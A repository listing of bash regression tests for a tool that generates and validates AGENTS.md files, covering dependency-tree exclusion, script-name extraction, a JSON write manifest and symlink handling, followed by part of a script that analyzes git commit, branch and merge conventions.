        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # A minimal project whose OWN files are valid, plus third-party AGENTS.md files
        # in the three dependency trees. Only the dependency files are non-conforming.
        FX="$WORK/proj"
        mkdir -p "$FX/vendor/acme/lib" "$FX/node_modules/pkg" "$FX/.Build/vendor/acme/ext"
        
        cat > "$FX/AGENTS.md" <<'MD'
        <!-- Managed by agent: keep sections and order; edit content, not structure -->
        
        # AGENTS.md
        
        **Precedence:** The **closest AGENTS.md** to changed files wins. Root holds global defaults only.
        
        ## Index of scoped AGENTS.md
        
        - nothing scoped yet
        MD
        ln -s AGENTS.md "$FX/CLAUDE.md"
        
        for d in vendor/acme/lib node_modules/pkg .Build/vendor/acme/ext; do
            printf '# Third-party AGENTS.md\n\nNo managed header, no required sections.\n' > "$FX/$d/AGENTS.md"
        done
        
        out=$(bash "$VALIDATE" "$FX" 2>&1); rc=$?
        
        for d in vendor node_modules .Build; do
            if grep -q "/$d/" <<<"$out"; then
                echo "$out" | grep "/$d/" | head -3
                fail "validate-structure.sh scanned the $d/ dependency tree (#84)"
            fi
        done
        pass "dependency trees (vendor, node_modules, .Build) are not scanned"
        
        if [ "$rc" -ne 0 ]; then
            echo "$out"
            fail "a project that is valid on its own files exited non-zero"
        fi
        pass "project with valid own files passes despite third-party AGENTS.md files"
        
        # The project's own scoped files must still be validated.
        mkdir -p "$FX/src"
        printf '# AGENTS.md -- src\n\nNo managed header, no required sections.\n' > "$FX/src/AGENTS.md"
        out=$(bash "$VALIDATE" "$FX" 2>&1)
        grep -q "src/AGENTS.md" <<<"$out" || fail "the project's own scoped AGENTS.md was skipped"
        pass "the project's own scoped files are still validated"
        
        echo "All dependency-tree exclusion tests passed."
        
      • test-extract-commands-real-scripts.sh 4 KB
        #!/usr/bin/env bash
        # Regression test: extract-commands.sh must emit the composer script that the
        # project actually defines, never the first name it happened to look for.
        #
        # The bug: the PHP branch accepted `.scripts.format // .scripts["cs:fix"]` as
        # evidence and then printed `composer run format` unconditionally. A project
        # defining only `cs:fix` therefore had `composer run format` written into its
        # AGENTS.md — a command that does not exist, presented to agents as fact.
        # The same shape applied to `lint` (via `cs:check`) and `phpstan` (via `stan`).
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        EXTRACT="$(dirname "$SCRIPT_DIR")/extract-commands.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # A PHP project whose scripts use the alternate names only.
        mkdir -p "$WORK/alt"
        cat > "$WORK/alt/composer.json" <<'JSON'
        {
          "name": "acme/alt-names",
          "require": {"php": "^8.2"},
          "scripts": {
            "cs:fix": "php-cs-fixer fix",
            "cs:check": "php-cs-fixer fix --dry-run",
            "stan": "phpstan analyse"
          }
        }
        JSON
        
        OUT=$(bash "$EXTRACT" "$WORK/alt" 2>/dev/null)
        
        for pair in "format:cs:fix" "lint:cs:check" "typecheck:stan"; do
            field="${pair%%:*}"
            want="composer run ${pair#*:}"
            got=$(printf '%s' "$OUT" | jq -r --arg f "$field" '.[$f] // ""')
            [ "$got" = "$want" ] || fail "$field: expected '$want', got '$got'"
        done
        pass "alternate script names are emitted as themselves"
        
        # Every emitted `composer run X` must name a script the project defines.
        # This is the invariant the bug violated, stated independently of which
        # names the extractor happens to prefer today.
        while read -r key; do
            [ -n "$key" ] || continue
            jq -e --arg k "$key" '.scripts[$k]' "$WORK/alt/composer.json" >/dev/null 2>&1 \
                || fail "extractor emitted 'composer run $key', which composer.json does not define"
        done < <(printf '%s' "$OUT" | jq -r '.[] | select(type == "string") | select(startswith("composer run ")) | sub("composer run ";"")')
        pass "every emitted composer command exists in composer.json"
        
        # The preferred names still win when they are present.
        mkdir -p "$WORK/std"
        cat > "$WORK/std/composer.json" <<'JSON'
        {
          "name": "acme/standard-names",
          "require": {"php": "^8.2"},
          "scripts": {"format": "php-cs-fixer fix", "cs:fix": "should not be chosen"}
        }
        JSON
        got=$(bash "$EXTRACT" "$WORK/std" 2>/dev/null | jq -r '.format')
        [ "$got" = "composer run format" ] || fail "preferred name not chosen: got '$got'"
        pass "the preferred script name still wins when defined"
        
        # The same defect shape lived in the package.json branch: `typecheck` was
        # accepted via `type-check`, and `dev` via `start`, while the emitted command
        # always used the first name.
        mkdir -p "$WORK/npm"
        cat > "$WORK/npm/package.json" <<'JSON'
        {
          "name": "acme-alt",
          "scripts": {
            "type-check": "tsc --noEmit",
            "start": "vite",
            "lint": "eslint ."
          }
        }
        JSON
        
        NPM_OUT=$(bash "$EXTRACT" "$WORK/npm" 2>/dev/null)
        
        for pair in "typecheck:type-check" "dev:start"; do
            field="${pair%%:*}"
            want="npm run ${pair#*:}"
            got=$(printf '%s' "$NPM_OUT" | jq -r --arg f "$field" '.[$f] // ""')
            [ "$got" = "$want" ] || fail "$field: expected '$want', got '$got'"
        done
        pass "alternate package.json script names are emitted as themselves"
        
        # Same invariant as for composer, stated for the npm runner: an emitted
        # `<pm> run X` must name a script package.json defines. Commands that are not
        # script invocations (npx/tsc/eslint fallbacks) are out of scope here.
        while read -r key; do
            [ -n "$key" ] || continue
            jq -e --arg k "$key" '.scripts[$k]' "$WORK/npm/package.json" >/dev/null 2>&1 \
                || fail "extractor emitted 'npm run $key', which package.json does not define"
        done < <(printf '%s' "$NPM_OUT" | jq -r '.[] | select(type == "string") | select(startswith("npm run ")) | sub("npm run ";"")')
        pass "every emitted npm script command exists in package.json"
        
        echo "All extract-commands script-name regression tests passed."
        
      • test-json-manifest.sh 5.5 KB
        #!/usr/bin/env bash
        # Test for the generate-agents.sh write manifest (issue #107).
        #
        # generate-agents.sh is the only script in the skill that writes, and was the
        # only one without --json. The manifest lists one entry per path the run
        # touches, so a caller can review exactly what would change (--dry-run) or what
        # did change (without it) instead of parsing nine different prose lines.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        GENERATE="$SCRIPTS_DIR/generate-agents.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        make_fixture() {
            local fx="$1"
            mkdir -p "$fx/src"
            cat > "$fx/package.json" <<'JSON'
        { "name": "fixture", "version": "1.0.0", "scripts": { "test": "echo t" } }
        JSON
            for i in 1 2 3 4 5 6; do printf 'export const c%s = %s\n' "$i" "$i" > "$fx/src/c$i.js"; done
            git -C "$fx" init -q
            git -C "$fx" -c user.email=t@t.t -c user.name=t add -A
            git -C "$fx" -c user.email=t@t.t -c user.name=t commit -qm init
        }
        
        # --- Test 1: --dry-run --json is valid JSON, carries the schema, writes nothing
        FX="$WORK/plan"
        make_fixture "$FX"
        printf '# my own rules\n' > "$FX/GEMINI.md"
        OUT="$(bash "$GENERATE" "$FX" --dry-run --json 2>/dev/null)" || fail "generate-agents.sh errored"
        jq -e . >/dev/null 2>&1 <<<"$OUT" || fail "output is not valid JSON: $OUT"
        [ "$(jq -r '.script' <<<"$OUT")" = "generate-agents" ] || fail "wrong script field"
        [ "$(jq -r '.schema' <<<"$OUT")" = "1" ] || fail "wrong schema field"
        [ "$(jq -r '.dry_run' <<<"$OUT")" = "true" ] || fail "dry_run not true under --dry-run"
        [ -e "$FX/AGENTS.md" ] && fail "--dry-run --json wrote AGENTS.md"
        [ -e "$FX/CLAUDE.md" ] && fail "--dry-run --json created a symlink"
        pass "--dry-run --json emits a valid manifest and writes nothing"
        
        # --- Test 2: human output is suppressed, so stdout is parseable
        grep -q '✅' <<<"$OUT" && fail "human output leaked into the JSON stream"
        pass "--json suppresses the prose output"
        
        # --- Test 3: every operation kind appears, with the fields it needs
        [ "$(jq -r '[.operations[] | select(.op=="write" and .path=="AGENTS.md")] | length' <<<"$OUT")" = "1" ] \
            || fail "root AGENTS.md missing from the manifest"
        [ "$(jq -r '.operations[] | select(.path=="CLAUDE.md") | .target' <<<"$OUT")" = "AGENTS.md" ] \
            || fail "symlink entry has no target"
        [ "$(jq -r '.operations[] | select(.path=="GEMINI.md") | .op' <<<"$OUT")" = "keep" ] \
            || fail "the kept regular file is not recorded as keep"
        jq -e '.operations[] | select(.path=="GEMINI.md") | .reason' >/dev/null <<<"$OUT" \
            || fail "keep entry carries no reason"
        pass "write, symlink and keep entries carry their fields"
        
        # --- Test 4: paths are relative to the project root, never absolute
        jq -e '[.operations[].path | select(startswith("/"))] | length == 0' >/dev/null <<<"$OUT" \
            || fail "manifest contains absolute paths"
        pass "paths are relative to the project root"
        
        # --- Test 5: the summary counts what the operations list holds
        for op in write symlink keep; do
            want="$(jq -r --arg op "$op" '[.operations[] | select(.op==$op)] | length' <<<"$OUT")"
            got="$(jq -r --arg op "$op" '.summary[$op] // 0' <<<"$OUT")"
            [ "$want" = "$got" ] || fail "summary.$op says $got, operations hold $want"
        done
        pass "summary matches the operations list"
        
        # --- Test 6: without --dry-run the same manifest is a receipt of real writes
        FX="$WORK/receipt"
        make_fixture "$FX"
        OUT="$(bash "$GENERATE" "$FX" --json 2>/dev/null)" || fail "generate-agents.sh errored"
        [ "$(jq -r '.dry_run' <<<"$OUT")" = "false" ] || fail "dry_run not false on a real run"
        [ -f "$FX/AGENTS.md" ] || fail "real run wrote no AGENTS.md"
        while read -r p; do
            [ -e "$FX/$p" ] || fail "manifest claims $p but it does not exist"
        done < <(jq -r '.operations[] | select(.op!="keep") | .path' <<<"$OUT")
        pass "every non-keep path in the receipt exists on disk"
        
        # --- Test 7: the prose output still works without --json (companion)
        FX="$WORK/prose"
        make_fixture "$FX"
        OUT="$(bash "$GENERATE" "$FX" --dry-run 2>/dev/null)" || fail "generate-agents.sh errored"
        grep -q 'DRY-RUN' <<<"$OUT" || fail "prose output lost its DRY-RUN lines"
        jq -e . >/dev/null 2>&1 <<<"$OUT" && fail "prose run emitted JSON"
        pass "the default output is unchanged"
        
        # --- Test 8: a file left alone is recorded, not merely absent from the list
        # Without this, a consumer cannot tell "AGENTS.md was skipped because it exists"
        # from "AGENTS.md was never considered" — both look like a missing entry.
        FX="$WORK/second-run"
        make_fixture "$FX"
        bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored"
        OUT="$(bash "$GENERATE" "$FX" --dry-run --json 2>/dev/null)" || fail "generate-agents.sh errored"
        [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .op' <<<"$OUT")" = "keep" ] \
            || fail "an existing AGENTS.md is not recorded as keep on a second run"
        [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .reason' <<<"$OUT")" = "already exists" ] \
            || fail "the keep entry for AGENTS.md carries no reason"
        pass "an existing AGENTS.md is recorded as keep, with its reason"
        
        # --- Test 9: --update writes, and the manifest says so
        OUT="$(bash "$GENERATE" "$FX" --update --json 2>/dev/null)" || fail "generate-agents.sh errored"
        [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .op' <<<"$OUT")" = "write" ] \
            || fail "--update rewrote AGENTS.md without recording it as a write"
        pass "--update records the rewrite it performs"
        
        echo ""
        echo "All JSON manifest tests passed."
        
      • test-scope-index-heading.sh 4.3 KB
        #!/usr/bin/env bash
        # Regression test for the scope-index heading contract between
        # generate-agents.sh and validate-structure.sh (issue #55).
        #
        # generate-agents.sh emits the root scope index under the heading
        #   "## Scoped AGENTS.md (MUST read when working in these directories)"
        # while older output used the legacy heading
        #   "## Index of scoped AGENTS.md".
        # validate-structure.sh must accept BOTH so a freshly generated root does not
        # fail the skill's own structure validation, while a bloated root without any
        # scope index still fails.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        GENERATE="$SCRIPTS_DIR/generate-agents.sh"
        VALIDATE="$SCRIPTS_DIR/validate-structure.sh"
        
        NEW_HEADING='## Scoped AGENTS.md (MUST read when working in these directories)'
        LEGACY_HEADING='## Index of scoped AGENTS.md'
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # Build a minimal repo with a scoped directory so the generated root exceeds
        # 50 lines and includes a populated scope index.
        build_fixture() {
            local dir="$1"
            rm -rf "$dir"
            mkdir -p "$dir/src" "$dir/.github/workflows"
            cat > "$dir/package.json" <<'JSON'
        { "name": "fixture", "version": "1.0.0", "scripts": { "test": "vitest", "build": "tsc" } }
        JSON
            echo "console.log('hi')" > "$dir/src/index.ts"
            echo "name: ci" > "$dir/.github/workflows/ci.yml"
            git -C "$dir" init -q
            git -C "$dir" -c user.email=t@t.t -c user.name=t add -A
            git -C "$dir" -c user.email=t@t.t -c user.name=t commit -qm init
        }
        
        # --- Test 1: generated root (new heading) passes validation -----------------
        FX1="$WORK/new-heading"
        build_fixture "$FX1"
        bash "$GENERATE" "$FX1" --style=thin >/dev/null 2>&1 || fail "generate-agents.sh errored"
        
        grep -qF "$NEW_HEADING" "$FX1/AGENTS.md" \
            || fail "generator no longer emits the expected heading: $NEW_HEADING"
        lines=$(wc -l < "$FX1/AGENTS.md")
        [ "$lines" -gt 50 ] || fail "generated root is only $lines lines; expected >50 to exercise the scope-index path"
        
        if bash "$VALIDATE" "$FX1" >/dev/null 2>&1; then
            pass "generated root ($lines lines, new heading) validates"
        else
            fail "validate-structure.sh rejected a freshly generated root (#55 regression)"
        fi
        
        # --- Test 2: legacy heading still accepted (backward compatibility) ----------
        FX2="$WORK/legacy-heading"
        cp -r "$FX1" "$FX2"
        # Rewrite only the heading line, keeping the rest of the generated root intact.
        # Use a temp file + mv rather than `sed -i` so the test stays portable across
        # GNU sed (Linux) and BSD sed (macOS); this repo's CI also runs on macos-latest.
        sed "s|^${NEW_HEADING}\$|${LEGACY_HEADING}|" "$FX2/AGENTS.md" > "$FX2/AGENTS.md.tmp"
        mv "$FX2/AGENTS.md.tmp" "$FX2/AGENTS.md"
        grep -qF "$LEGACY_HEADING" "$FX2/AGENTS.md" || fail "could not rewrite heading to legacy form"
        
        if bash "$VALIDATE" "$FX2" >/dev/null 2>&1; then
            pass "root with legacy heading still validates (backward compatible)"
        else
            fail "validate-structure.sh rejected the legacy scope-index heading"
        fi
        
        # --- Test 3: title-case heading (older generated roots) accepted (#81) -------
        TITLE_HEADING='## Index of Scoped AGENTS.md'
        FX4="$WORK/title-case-heading"
        cp -r "$FX1" "$FX4"
        # Temp file + mv keeps this portable across GNU and BSD sed (see Test 2).
        sed "s|^${NEW_HEADING}\$|${TITLE_HEADING}|" "$FX4/AGENTS.md" > "$FX4/AGENTS.md.tmp"
        mv "$FX4/AGENTS.md.tmp" "$FX4/AGENTS.md"
        grep -qF "$TITLE_HEADING" "$FX4/AGENTS.md" || fail "could not rewrite heading to title-case form"
        
        if bash "$VALIDATE" "$FX4" >/dev/null 2>&1; then
            pass "root with title-case heading validates (#81)"
        else
            fail "validate-structure.sh rejected the title-case scope-index heading (#81 regression)"
        fi
        
        # --- Test 4: bloated root without any scope index still fails ----------------
        FX3="$WORK/no-heading"
        cp -r "$FX1" "$FX3"
        # Drop the scope-index heading so the >50-line root has no index at all.
        # Temp file + mv keeps this portable across GNU and BSD sed (see Test 2).
        sed "/^${NEW_HEADING}\$/d" "$FX3/AGENTS.md" > "$FX3/AGENTS.md.tmp"
        mv "$FX3/AGENTS.md.tmp" "$FX3/AGENTS.md"
        
        if bash "$VALIDATE" "$FX3" >/dev/null 2>&1; then
            fail "validate-structure.sh accepted a bloated root with no scope index"
        else
            pass "bloated root without a scope index is still rejected"
        fi
        
        echo "All scope-index heading regression tests passed."
        
      • test-scope-index-keeps-existing.sh 2.4 KB
        #!/usr/bin/env bash
        # Regression test: a directory that already carries an AGENTS.md must appear in
        # the root scope index, even when detect-scopes.sh has no rule for that
        # directory name.
        #
        # The bug: the index was built purely from detected scopes. detect-scopes.sh
        # knows a fixed set of directory names, so a hand-authored scoped file
        # elsewhere (TYPO3 `Configuration/`, for one) was silently dropped from the
        # root index on `--update`. An agent reading the root then never learns the
        # file exists, which defeats the precedence rule the index exists to serve —
        # and nothing reports the omission.
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        DETECT="$SCRIPTS_DIR/detect-scopes.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # A PHP project with a scoped AGENTS.md in a directory the detector has no
        # rule for, plus one it does recognise.
        mkdir -p "$WORK/proj/Configuration" "$WORK/proj/Classes"
        cat > "$WORK/proj/composer.json" <<'JSON'
        {"name": "acme/thing", "require": {"php": "^8.2"}}
        JSON
        for i in 1 2 3 4 5 6; do
            echo "<?php" > "$WORK/proj/Classes/File$i.php"
            echo "services:" > "$WORK/proj/Configuration/Services$i.yaml"
        done
        cat > "$WORK/proj/Configuration/AGENTS.md" <<'MD'
        # Configuration
        
        ## Overview
        DI services, TCA and backend routes for this extension.
        MD
        echo "# root" > "$WORK/proj/AGENTS.md"
        
        SCOPES=$(cd "$WORK/proj" && bash "$DETECT" . 2>/dev/null)
        
        printf '%s' "$SCOPES" | jq -e '.scopes[] | select(.path == "Configuration")' >/dev/null 2>&1 \
            || fail "a directory with its own AGENTS.md was not reported as a scope"
        pass "an existing scoped AGENTS.md is reported even without a detection rule"
        
        # The root file itself must never be listed as a scope of itself.
        if printf '%s' "$SCOPES" | jq -e '.scopes[] | select(.path == "." or .path == "AGENTS.md")' >/dev/null 2>&1; then
            fail "the root AGENTS.md was reported as its own scope"
        fi
        pass "the root AGENTS.md is not listed as a scope"
        
        # A recognised directory keeps its specific type rather than being relabelled.
        got=$(printf '%s' "$SCOPES" | jq -r '.scopes[] | select(.path == "Classes") | .type')
        [ "$got" != "existing" ] && [ -n "$got" ] \
            || fail "a detected scope lost its type (got '$got')"
        pass "a detected scope keeps its own type"
        
        echo "All scope-index existing-file regression tests passed."
        
      • test-symlink-write-boundary.sh 4.3 KB
        #!/usr/bin/env bash
        # Regression test for the CLAUDE.md/GEMINI.md write boundary (issues #102, #103).
        #
        # Two defects, both in generate-agents.sh:
        #   #102  --no-symlinks was documented in --help but dropped by the parser, so
        #         the symlinks were created regardless of the flag.
        #   #103  an existing CLAUDE.md that is itself a symlink was treated like a
        #         missing file and repointed to AGENTS.md — no --force, no message —
        #         because the guard tested "[ -L ] || [ ! -e ]".
        set -uo pipefail
        
        SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
        SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")"
        GENERATE="$SCRIPTS_DIR/generate-agents.sh"
        
        WORK="$(mktemp -d)"
        trap 'rm -rf "$WORK"' EXIT
        
        fail() { echo "❌ FAIL: $1"; exit 1; }
        pass() { echo "✅ PASS: $1"; }
        
        # Minimal JS fixture: enough for a root AGENTS.md, no scopes needed.
        make_fixture() {
            local fx="$1"
            mkdir -p "$fx/src"
            cat > "$fx/package.json" <<'JSON'
        { "name": "fixture", "version": "1.0.0", "scripts": { "test": "echo t" } }
        JSON
            for i in 1 2 3 4 5; do printf 'export const c%s = %s\n' "$i" "$i" > "$fx/src/c$i.js"; done
            git -C "$fx" init -q
            git -C "$fx" -c user.email=t@t.t -c user.name=t add -A
            git -C "$fx" -c user.email=t@t.t -c user.name=t commit -qm init
        }
        
        # --- Test 1 (#102): --no-symlinks suppresses both compatibility files
        FX="$WORK/no-symlinks"
        make_fixture "$FX"
        bash "$GENERATE" "$FX" --no-symlinks >/dev/null 2>&1 || fail "generate-agents.sh errored"
        [ -f "$FX/AGENTS.md" ] || fail "--no-symlinks suppressed AGENTS.md itself"
        [ -e "$FX/CLAUDE.md" ] && fail "--no-symlinks still created CLAUDE.md"
        [ -e "$FX/GEMINI.md" ] && fail "--no-symlinks still created GEMINI.md"
        pass "--no-symlinks creates AGENTS.md and no compatibility files"
        
        # --- Test 2: the default still creates them (companion to test 1)
        FX="$WORK/default"
        make_fixture "$FX"
        bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored"
        [ -L "$FX/CLAUDE.md" ] || fail "default run did not symlink CLAUDE.md"
        [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "CLAUDE.md points elsewhere"
        pass "default run symlinks CLAUDE.md → AGENTS.md"
        
        # --- Test 3 (#103): a foreign symlink is kept, and the user is told
        FX="$WORK/foreign-link"
        make_fixture "$FX"
        mkdir -p "$WORK/shared"
        printf '# curated rules\n' > "$WORK/shared/CLAUDE.md"
        ln -s ../shared/CLAUDE.md "$FX/CLAUDE.md"
        OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored"
        [ "$(readlink "$FX/CLAUDE.md")" = "../shared/CLAUDE.md" ] \
            || fail "foreign CLAUDE.md symlink was repointed without --force"
        grep -q "Kept: " <<<"$OUT" || fail "no notice printed for the kept file (output was: $OUT)"
        pass "foreign CLAUDE.md symlink kept, notice printed"
        
        # --- Test 4: a regular foreign file is kept too, and reported
        FX="$WORK/foreign-file"
        make_fixture "$FX"
        printf '# my own rules\n' > "$FX/GEMINI.md"
        OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored"
        grep -qx '# my own rules' "$FX/GEMINI.md" || fail "regular GEMINI.md was overwritten"
        grep -q "Kept: GEMINI.md" <<<"$OUT" || fail "no notice printed for kept GEMINI.md (output was: $OUT)"
        pass "regular GEMINI.md kept, notice printed"
        
        # --- Test 5: --force replaces a foreign symlink, --dry-run --force does not
        FX="$WORK/force"
        make_fixture "$FX"
        ln -s ../shared/CLAUDE.md "$FX/CLAUDE.md"
        bash "$GENERATE" "$FX" --force --dry-run >/dev/null 2>&1 || fail "generate-agents.sh errored"
        [ "$(readlink "$FX/CLAUDE.md")" = "../shared/CLAUDE.md" ] \
            || fail "--dry-run --force modified the tree"
        bash "$GENERATE" "$FX" --force >/dev/null 2>&1 || fail "generate-agents.sh errored"
        [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "--force did not replace the foreign symlink"
        pass "--force replaces, --dry-run --force does not"
        
        # --- Test 6: a second run over our own symlink is a no-op, not a "Kept" notice
        FX="$WORK/idempotent"
        make_fixture "$FX"
        bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored"
        OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored on second run"
        grep -q "Kept: CLAUDE.md" <<<"$OUT" && fail "our own symlink was reported as a foreign file"
        [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "second run broke CLAUDE.md"
        pass "re-running keeps our own symlink without a notice"
        
        echo ""
        echo "All symlink write-boundary tests passed."
        
    • analyze-git-history.sh 9.8 KB
      #!/usr/bin/env bash
      # Analyze git history for patterns (commit conventions, branching, releases)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Check if we're in a git repository
      if ! git rev-parse --git-dir > /dev/null 2>&1; then
          echo '{"error": "Not a git repository"}'
          exit 0
      fi
      
      SAMPLE_SIZE=100
      
      # Helper to count grep matches (returns 0 if no matches instead of error)
      count_matches() {
          local pattern="$1"
          local input="$2"
          local flags="${3:-}"
          local count
          # shellcheck disable=SC2086  # flags must be unquoted to work as separate arguments
          count=$(echo "$input" | grep $flags -cE "$pattern" 2>/dev/null) || count=0
          echo "$count"
      }
      
      # Analyze commit message conventions
      analyze_commit_convention() {
          local commits
          commits=$(git log --oneline -"$SAMPLE_SIZE" --pretty=format:"%s" 2>/dev/null || echo "")
      
          if [ -z "$commits" ]; then
              echo '{"convention": "unknown", "confidence": 0}'
              return
          fi
      
          local total_commits
          total_commits=$(echo "$commits" | wc -l)
      
          # Count conventional commits (feat:, fix:, docs:, style:, refactor:, test:, chore:, etc.)
          local conventional_count
          conventional_count=$(count_matches '^(feat|fix|docs|style|refactor|perf|test|build|ci|chore|revert)(\(.+\))?(!)?:' "$commits")
      
          # Count [TAG] style commits
          local tag_count
          tag_count=$(count_matches '^\[.+\]' "$commits")
      
          # Count ticket reference commits (JIRA-123, #123, etc.)
          local ticket_count
          ticket_count=$(count_matches '([A-Z]+-[0-9]+|#[0-9]+)' "$commits" "-i")
      
          # Count emoji commits
          local emoji_count
          emoji_count=$(count_matches '^(✨|🐛|📝|🎨|♻️|🚀|✅|🔧|⬆️|🔒)' "$commits")
      
          # Determine convention
          local convention="freeform"
          local confidence=0
      
          local conventional_pct=$((conventional_count * 100 / total_commits))
          local tag_pct=$((tag_count * 100 / total_commits))
          local ticket_pct=$((ticket_count * 100 / total_commits))
          local emoji_pct=$((emoji_count * 100 / total_commits))
      
          if [ "$conventional_pct" -ge 50 ]; then
              convention="conventional-commits"
              confidence=$conventional_pct
          elif [ "$tag_pct" -ge 50 ]; then
              convention="tag-prefix"
              confidence=$tag_pct
          elif [ "$emoji_pct" -ge 30 ]; then
              convention="emoji"
              confidence=$emoji_pct
          elif [ "$ticket_pct" -ge 50 ]; then
              convention="ticket-reference"
              confidence=$ticket_pct
          fi
      
          # Extract common prefixes
          local prefixes=()
          if [ "$convention" = "conventional-commits" ]; then
              mapfile -t prefixes < <(echo "$commits" | grep -oE '^(feat|fix|docs|style|refactor|perf|test|build|ci|chore|revert)' | sort | uniq -c | sort -rn | head -5 | awk '{print $2}')
          elif [ "$convention" = "tag-prefix" ]; then
              mapfile -t prefixes < <(echo "$commits" | grep -oE '^\[[^\]]+\]' | sort | uniq -c | sort -rn | head -5 | awk '{print $2}')
          fi
      
          local prefixes_json="[]"
          [ ${#prefixes[@]} -gt 0 ] && prefixes_json=$(printf '%s\n' "${prefixes[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --arg convention "$convention" \
              --arg confidence "$confidence" \
              --argjson prefixes "$prefixes_json" \
              --arg total "$total_commits" \
              --arg conventional "$conventional_count" \
              --arg tag "$tag_count" \
              --arg ticket "$ticket_count" \
              '{
                  convention: $convention,
                  confidence: ($confidence | tonumber),
                  common_prefixes: $prefixes,
                  stats: {
                      total_analyzed: ($total | tonumber),
                      conventional_commits: ($conventional | tonumber),
                      tag_style: ($tag | tonumber),
                      ticket_references: ($ticket | tonumber)
                  }
              }'
      }
      
      # Analyze branch naming
      analyze_branch_naming() {
          local branches
          branches=$(git branch -r 2>/dev/null | grep -v HEAD | sed 's/.*\///' | head -50 || echo "")
      
          if [ -z "$branches" ]; then
              echo '{"pattern": "unknown", "stats": {"total_branches": 0}}'
              return
          fi
      
          local total_branches
          total_branches=$(echo "$branches" | grep -c . || echo "0")
      
          if [ "$total_branches" -eq 0 ]; then
              echo '{"pattern": "unknown", "stats": {"total_branches": 0}}'
              return
          fi
      
          # Count different patterns
          local feature_count
          feature_count=$(count_matches '^feature[/-]' "$branches")
      
          local fix_count
          fix_count=$(count_matches '^(fix|bugfix|hotfix)[/-]' "$branches")
      
          local release_count
          release_count=$(count_matches '^release[/-]' "$branches")
      
          local ticket_count
          ticket_count=$(count_matches '[A-Z]+-[0-9]+' "$branches" "-i")
      
          # Determine pattern
          local pattern="freeform"
          local has_feature="false"
          local has_fix="false"
      
          [[ "$feature_count" -gt 2 ]] && has_feature="true"
          [[ "$fix_count" -gt 2 ]] && has_fix="true"
      
          if [[ "$has_feature" == "true" ]] || [[ "$has_fix" == "true" ]]; then
              pattern="gitflow-style"
          fi
          if [ "$total_branches" -gt 0 ] && [ "$ticket_count" -gt $((total_branches / 3)) ]; then
              pattern="ticket-based"
          fi
      
          jq -n \
              --arg pattern "$pattern" \
              --argjson has_feature "$has_feature" \
              --argjson has_fix "$has_fix" \
              --arg total "$total_branches" \
              --arg feature "$feature_count" \
              --arg fix "$fix_count" \
              --arg release "$release_count" \
              '{
                  pattern: $pattern,
                  uses_feature_branches: $has_feature,
                  uses_fix_branches: $has_fix,
                  stats: {
                      total_branches: ($total | tonumber),
                      feature_branches: ($feature | tonumber),
                      fix_branches: ($fix | tonumber),
                      release_branches: ($release | tonumber)
                  }
              }'
      }
      
      # Analyze merge strategy
      analyze_merge_strategy() {
          local merge_commits
          merge_commits=$(git log --oneline -"$SAMPLE_SIZE" --merges 2>/dev/null | wc -l || echo "0")
      
          local total_commits
          total_commits=$(git log --oneline -"$SAMPLE_SIZE" 2>/dev/null | wc -l || echo "0")
      
          if [ "$total_commits" -eq 0 ]; then
              echo '{"strategy": "unknown"}'
              return
          fi
      
          local merge_pct=$((merge_commits * 100 / total_commits))
      
          local strategy="unknown"
          if [ "$merge_pct" -lt 5 ]; then
              strategy="squash-and-merge"
          elif [ "$merge_pct" -gt 20 ]; then
              strategy="merge-commits"
          else
              strategy="mixed"
          fi
      
          # Check for squash patterns in commit messages
          local squash_patterns
          squash_patterns=$(git log --oneline -"$SAMPLE_SIZE" 2>/dev/null | grep -cE '\(#[0-9]+\)$' || echo "0")
      
          if [ "$squash_patterns" -gt $((total_commits / 3)) ]; then
              strategy="squash-and-merge"
          fi
      
          jq -n \
              --arg strategy "$strategy" \
              --arg merge_pct "$merge_pct" \
              --arg merge_commits "$merge_commits" \
              --arg total "$total_commits" \
              '{
                  strategy: $strategy,
                  merge_commit_percentage: ($merge_pct | tonumber),
                  stats: {
                      merge_commits: ($merge_commits | tonumber),
                      total_commits: ($total | tonumber)
                  }
              }'
      }
